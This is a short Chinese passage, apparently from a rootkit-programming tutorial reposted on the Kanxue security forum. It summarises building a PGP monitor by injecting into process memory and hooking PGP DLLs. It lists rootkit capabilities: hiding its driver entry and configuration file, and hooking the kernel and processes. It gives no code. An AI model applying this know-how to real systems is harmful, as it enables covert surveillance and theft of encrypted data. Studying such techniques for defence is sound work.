这章完整的讲述了进程注入应用程序内存所需的重要部分。为了使代码尽可能简单,只保持最小功能函数被执行。一个完整的PGP监视器需要包括各个PGP SDK DLL可能版本的样式同时需要为各个版本PGP SC DLL 中的Self Decrypting Archive (自解密库)附加一个钩子,还需要为使用PGP9的多文件加密创建另一个钩子。幸运的是,使用提供的工具,并对IDA有比较深刻的了解,这个附加函数功能可以很快的被添加完成。图4-4所示一个完整的PGP监视器。
图4-4
我们现在已经有了一个具有如下个能的rootkit:
隐藏设备驱动程序条目
隐藏它的配置文件
挂钩操作系统内核
挂钩所选的被操作系统加载的进程
我们离一个功能完整的rootkit已经很近了。当然,我们仍不能说可以通过本地应用程序或远程应用程序来控制rootkit。在我们进入通讯编程前,我们还需要懂得基本的I/O系统。下章介绍rootkit 至关重要的部分:I/O处理。
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!